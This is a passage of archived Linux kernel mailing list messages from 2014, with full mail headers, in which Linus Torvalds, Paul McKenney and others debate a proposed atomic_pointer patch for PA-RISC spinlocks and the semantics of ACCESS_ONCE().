	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 22:53:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752774AbaFBUxu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 16:53:50 -0400
Original-Received: from mail-vc0-f177.google.com ([209.85.220.177]:32832 "EHLO
	mail-vc0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752385AbaFBUxt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 16:53:49 -0400
Original-Received: by mail-vc0-f177.google.com with SMTP id hy4so2810172vcb.22
        for <multiple recipients>; Mon, 02 Jun 2014 13:53:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=V5UyxzOh6cn1mZlVxamXE2fX4LK5kMaWiDt6LkZgkE4=;
        b=t/AHYJhVuS06CvIuItmpgKvy6kD7WmohLn5+tR0QKLgEkQTTSBoj00eR4S/KnFqkoD
         XjfOW9y0NUenIdcfXhqNCrvVHEvRbYKgdXCui4ZIG/NV7kp7TQrMCMyZEp+5RwH+3tiz
         FJFMtmExHhPicrIPmcwqvmCi6PETvJK5oFDWUCFWpQNfDrUhPF9L8a2MINU2XcI3qPaY
         iL5kwMw/KhXr91LRSFEz+ZG/3OeapquKtHdu3Nry2HkkhWSSDYOYU9uW0zNJABUz9Bc1
         84o4BsGK8mapphm6nupKdGuS+dMcc+j4uHVKk+/7a3f3KHcPsjHny243x05muR83G3Hn
         0jZg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=V5UyxzOh6cn1mZlVxamXE2fX4LK5kMaWiDt6LkZgkE4=;
        b=Ktc0Cb0x6TSPxS42stVoJUN53ZsW7d/IjsG/58d4ow1swY0VMExztxJWMOogjzj9gH
         Ksl/xrQyUr5xp8jQptA8+7WzuYJOxNU9yHSUJ/9W2qdPJ1lmVKxWwHL4insjvwk+S643
         rPqKYZ4pJE9bJ0C2ujEWb57t1/kE0eGErbz2s=
X-Received: by 10.58.47.36 with SMTP id a4mr188579ven.63.1401742428449; Mon,
 02 Jun 2014 13:53:48 -0700 (PDT)
Original-Received: by 10.220.13.16 with HTTP; Mon, 2 Jun 2014 13:53:48 -0700 (PDT)
In-Reply-To: <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
X-Google-Sender-Auth: icH_iJYGyuz03rfEw46Hqv7Ylbc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5848 gmane.linux.kernel:1716423
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5848>

On Mon, Jun 2, 2014 at 1:46 PM, Mikulas Patocka <mpatocka@redhat.com> wrote:
>
> And what else do you want to do?
>
> Peter Zijlstra said "I've been using xchg() and cmpxchg() without such
> consideration for quite a while." - so it basically implies that the
> kernel is full of such races, mcs_spinlock is just the most visible one
> that crashes the kernel first.

.. so your whole argument is bogus, because it doesn't actually fix
anything else.

Now, something that *would* fix something else is (for example) to
just make "ACCESS_ONCE()" a rvalue so that you cannot use it for
assignments, and then trying to sort out what happens then. It's
possible that the "atomic_pointer_t" would be a part of the solution
to that "what happens then", but THERE IS NO WAY IN HELL we're adding
it for just one architecture and one use that doesn't warrant even
_existing_ on that architecture.

See what I'm saying?

You're not fixing the problem, you're fixing one unimportant detail
that isn't worth fixing that way.

               Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 14:02:27 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <20140602210227.GE22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
 <538CB56E.5010709@hp.com>
 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401742980 26370 80.91.229.3 (2 Jun 2014 21:03:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 21:03:00 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 23:02:50 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrZNZ-0008LZ-Og
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 23:02:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932303AbaFBVCj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 17:02:39 -0400
Original-Received: from e31.co.us.ibm.com ([32.97.110.149]:54517 "EHLO
	e31.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932217AbaFBVCf (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 17:02:35 -0400
Original-Received: from /spool/local
	by e31.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 15:02:34 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e31.co.us.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 15:02:31 -0600
Original-Received: from b03cxnp07028.gho.boulder.ibm.com (b03cxnp07028.gho.boulder.ibm.com [9.17.130.15])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 0F1F419D803E;
	Mon,  2 Jun 2014 15:02:23 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp07028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52L1GUA5177780;
	Mon, 2 Jun 2014 23:01:16 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52L6TwC029754;
	Mon, 2 Jun 2014 15:06:30 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52L6SMs029726;
	Mon, 2 Jun 2014 15:06:28 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id E590C3814C3; Mon,  2 Jun 2014 14:02:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060221-8236-0000-0000-000002CDE21B
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716431 gmane.linux.ports.parisc:5849
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716431>

On Mon, Jun 02, 2014 at 01:22:10PM -0700, Linus Torvalds wrote:
> On Mon, Jun 2, 2014 at 1:05 PM, Peter Zijlstra <peterz@infradead.org> wrote:
> >
> > So the question is, do you prefer subtly broken code or hard compile
> > fails? Me, I go for the compile fail.
> 
> The thing is, parisc has a perfectly fine "cmpxchg" implementation in
> practice, and ACCESS_ONCE() and friends work fine too for reading.
> 
> What the "use a spinlock" approach cannot generally do is:
> 
>  - ACCESS_ONCE() to _write_ things doesn't work well. You really
> should use "atomic_set()".
> 
>  - you may not necessarily be able to mix partial updates (ie
> differently sized updates to the same thing) depending on just how the
> spinlock hashing works
> 
> but both of those are really rare issues and don't affect normal code.
> 
> I would not necessarily be opposed to splitting up ACCESS_ONCE() for
> reading and for writing, and maybe we could do something special for
> the writing path (which tends to be less ctitical). It's really mixing
> "ACCESS_ONCE(x)" to _set_ a value, together with atomic ops to update
> it, that ends up being problematic.

Knowing what I know now about how ACCESS_ONCE() is used, I would have
split it for reading and writing to begin with.  Where is that time
machine when you need it?  ;-)

> Maybe there are other issues I can't think of right now. But
> basically, parisc _can_ do cmpxchg, it's just that the code needs to
> be somewhat sanitized.
> 
> Side note: some of the RCU code uses "ACCESS_ONCE()" for
> read-modify-write code, which is just f*cking crazy. The semantics are
> dubious, and it generally makes gcc create bad code too.

A couple of the places are admittedly overkill, for example the pair of:

	ACCESS_ONCE(rsp->n_force_qs_lh)++;

which is just for debug statistics in any case.  I could put these back
to "rsp->n_force_qs_lh++;" without problems, if desired.  (Yeah, I know,
I am overly paranoid.)

However, these cases need a bit more care:

	ACCESS_ONCE(rdp->qlen)++;
	ACCESS_ONCE(rsp->n_barrier_done)++;
	ACCESS_ONCE(sync_rcu_preempt_exp_count)++;

In the ->qlen case, interrupts are disabled and the current CPU is
the only one who can write, so the read need not be volatile.  In the
->n_barrier_done, modifications are done holding ->barrier_mutex, so again
the read need not be volatile.  In the sync_rcu_preempt_exp_count case,
modifications are done holding sync_rcu_preempt_exp_mutex, so once again,
the read need not be volatile.  So I could do something like:

	ACCESS_ONCE(rdp->qlen) = rdp->qlen + 1;

But that still makes gcc generate bad code.

The reason I was not all that worried about this is that these are not
in fastpaths, and the last two are especially not in fastpaths.

Suggestions?

							Thanx, Paul


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 14:03:48 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20140602210348.GF22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401743059 27232 80.91.229.3 (2 Jun 2014 21:04:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 21:04:19 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 23:04:07 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrZOp-0000dJ-9U
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 23:04:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932342AbaFBVD4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 17:03:56 -0400
Original-Received: from e33.co.us.ibm.com ([32.97.110.151]:55244 "EHLO
	e33.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932179AbaFBVDz (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 17:03:55 -0400
Original-Received: from /spool/local
	by e33.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 15:03:54 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e33.co.us.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 15:03:51 -0600
Original-Received: from b03cxnp08027.gho.boulder.ibm.com (b03cxnp08027.gho.boulder.ibm.com [9.17.130.19])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 683B019D803F;
	Mon,  2 Jun 2014 15:03:43 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08027.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52L2rxQ53215288;
	Mon, 2 Jun 2014 23:02:53 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52L7n73002433;
	Mon, 2 Jun 2014 15:07:50 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52L7nRK002397;
	Mon, 2 Jun 2014 15:07:49 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 555383814C3; Mon,  2 Jun 2014 14:03:48 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060221-0928-0000-0000-0000025BA7DB
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716433 gmane.linux.ports.parisc:5850
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716433>

On Mon, Jun 02, 2014 at 10:09:35AM -0700, Linus Torvalds wrote:
> On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> >
> > And I can't say I'm a particular fan of these ops either, as alternative
> > I'm almost inclined to just exclude parisc from using opt spinning.
> 
> Please do.
> 
> There is no way in hell that we should introduce a magic new
> atomic_pointer thing for parisc. And the idea somebody had to change
> ACCESS_ONCE() for PA-RISC (I'm not going to go back to find who to
> blame) is just horribly wrong too, since it's not even necessary for
> any normal use: the special "load-and-store-zero" instruction isn't
> actually used for "real" data, it's used only for the special
> spinlocks afaik, so doing it for all ACCESS_ONCE() users would be
> wrong even on PA-RISC. For any normal data, the usual "just load the
> value, making sure the compiler doesn't reload it" is perfectly fine -
> even on PA-RISC.

Guilty to charges as read on suggesting PA-RISC-specific ACCESS_ONCE().  ;-)

							Thanx, Paul

> Now, if PA-RISC was a major architecture, we'd have to figure this
> out. But as it is, PA-RISC is just about the shittiest RISC ever
> invented (with original sparc being a strong contender), and let's
> face it, nobody really uses it.  It's a "fun project", but it is not
> something that we should use to mess up either ACCESS_ONCE() or the
> MCS locks.
> 
> Just make PA-RISC use its own locks, not any of the new fancy ones.
> 
>               Linus
> 


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 14:12:30 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	<alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	<20140602162525.GH16155@laptop.programming.kicks-ass.net>
	<20140602163032.GI16155@laptop.programming.kicks-ass.net>
	<538CB56E.5010709@hp.com>
	<20140602200525.GD13930@laptop.programming.kicks-ass.net>
	<CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
	<20140602210227.GE22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1401743561 985 80.91.229.3 (2 Jun 2014 21:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 21:12:41 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Paul McKenney <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 23:12:33 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrZWz-0004Iu-2t
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 23:12:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753187AbaFBVMc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 17:12:32 -0400
Original-Received: from mail-ve0-f171.google.com ([209.85.128.171]:48172 "EHLO
	mail-ve0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752848AbaFBVMb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 17:12:31 -0400
Original-Received: by mail-ve0-f171.google.com with SMTP id oz11so5873489veb.2
        for <multiple recipients>; Mon, 02 Jun 2014 14:12:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=CaSdYC4d5tVSymNblwd2LS10rcrMP+batvJELLM8Wio=;
        b=MKzC8uuFbWvd4HjaE/WAW/MJRjQ6PP9YlSDYGmYz7e0jLQy5yyWDWqSruXbF8PpbAN
         RxymdweppkHVwHAh3htUAwFUw20YH5RSPjQghNCsa9GmvfC3UaC9WBpniGHUV1TNfmQJ
         4HL07mMPzfn3sDb7rUgIzIXVqKHR+t6KGzfhtPkDt94jMCIwPXTqkApAu9A5N576Ngzf
         b4zZLRx8Nx4K+Gz8Ud8oHJUo6kRnNpb5G12w2QmUq/JhRlXsgzZjwgNRNHZYCa/4xaf+
         Q6b1soZcULhEb9scofr7jZjArLSBSPLBd15h4m2SLRdp4sXEdbp6izjswUpDiqGxsZ0Q
         gqkw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=CaSdYC4d5tVSymNblwd2LS10rcrMP+batvJELLM8Wio=;
        b=W9XCh24AP8QZMbOFGKn/d41F5F+X5U/KGKq9Mw3tPuKYtb+YxG7RbLq2Mdaq6GiTT2
         LCxYXFsPamACuC1/qp/1YQdYuZEvlhoICTJV+o5dprnpy/93J1/Sy9BB7KJxylN06ywe
         EvoNa589+AN9kb0+XpZBIUDIR/iuJORZuUnlQ=
X-Received: by 10.58.198.46 with SMTP id iz14mr3066682vec.53.1401743550599;
 Mon, 02 Jun 2014 14:12:30 -0700 (PDT)
Original-Received: by 10.220.13.16 with HTTP; Mon, 2 Jun 2014 14:12:30 -0700 (PDT)
In-Reply-To: <20140602210227.GE22231@linux.vnet.ibm.com>
X-Google-Sender-Auth: S6Ld09e0rC8nI5NqWjHWneWLnxw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5851 gmane.linux.kernel:1716436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5851>

On Mon, Jun 2, 2014 at 2:02 PM, Paul E. McKenney
<paulmck@linux.vnet.ibm.com> wrote:
>
> In the ->qlen case, interrupts are disabled and the current CPU is
> the only one who can write, so the read need not be volatile.  In the
> ->n_barrier_done, modifications are done holding ->barrier_mutex, so again
> the read need not be volatile.  In the sync_rcu_preempt_exp_count case,
> modifications are done holding sync_rcu_preempt_exp_mutex, so once again,
> the read need not be volatile.  So I could do something like:
>
>         ACCESS_ONCE(rdp->qlen) = rdp->qlen + 1;
>
> But that still makes gcc generate bad code
>
> The reason I was not all that worried about this is that these are not
> in fastpaths, and the last two are especially not in fastpaths.
>
> Suggestions?

So I think it probably *works*, but even so splitting it up to use
ACCESS_ONCE() on just the write is probably a better option, if only
because it would then make it much easier to change if we do end up
splitting reads and writes.

Because from a gcc code generation standpoint, using "volatile" will
always be horrible, because gcc will never be able to turn it into a
read-modify-write cycle. Arguable gcc _should_ be able to do that (it
is certainly allowable within the virtual machine definition), but I
understand why it doesn't ("volatile? Let's not optimize anything at
all, because it's special").

So "ACCESS_ONCE() + R-M-W" operation is actually pretty much
guaranteed to be "ACCESS_TWICE()", which may well be ok (performance
may not matter, and even when it does most architectures don't
actually have r-m-w instructions and when they do they aren't always
even faster), but I think it's just horribly horribly bad from a
conceptual and readability standpoint because it's so misleading.

So I'd actually rather see two explicit ACCESS_ONCE() calls - once to
read, once to write. Because that at least describes what is
happening, unlike the current situation.

Put another way: I can understand why you do it, and I can even agree
that it is "correct" from a functionality standpoint. But even despite
that all, I really don't like the construct very much..

              Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 17:12:16 -0400 (EDT)
Lines: 63
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406021656550.5874@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com> <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com> <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401743611 1516 80.91.229.3 (2 Jun 2014 21:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 21:13:31 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 23:13:21 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrZXk-0005wZ-W2
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 23:13:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753086AbaFBVNU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 17:13:20 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:63589 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
